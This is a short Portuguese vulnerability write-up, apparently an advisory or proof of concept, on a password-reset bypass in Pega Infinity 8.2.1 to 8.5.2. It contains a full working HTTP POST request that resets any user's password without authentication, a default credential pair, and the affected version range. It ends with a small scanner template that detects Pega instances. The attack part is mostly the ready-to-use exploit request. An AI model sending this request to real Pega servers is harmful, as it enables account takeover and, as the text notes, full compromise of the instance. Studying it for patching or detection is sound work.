
bypass em todos os estágios do fluxo de redefinição de senha
Um atacante pode ignorar todas as etapas do fluxo de redefinição de senha e redefinir a conta de qualquer usuário no Pega Infinity. Isto é feito (1) iniciando o fluxo de redefinição de senha e digitando o e-mail da vítima e, em seguida, (2) forçando a requisição HTTP POST a passar para atualizar a senha. Um atacante pode fazer login usando a conta recém-editada e comprometer totalmente a instância Pega através dos muitos vetores aceitáveis de execução de código pós-autenticação (modificando páginas dinâmicas, templates, etc.)
POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID é um ID único para cada site, está neste formato: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1
pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=
[email protected] / Rules@1234
Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2
Comprometimento total de qualquer instância Pega sem conhecimento prévio necessário.


id: pega
info:
name: Pega Infinity Login
author: sshell
severity: low
requests:
- method: GET
path:
- "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "Pega API"
Andri Wijayanti (@andridev_),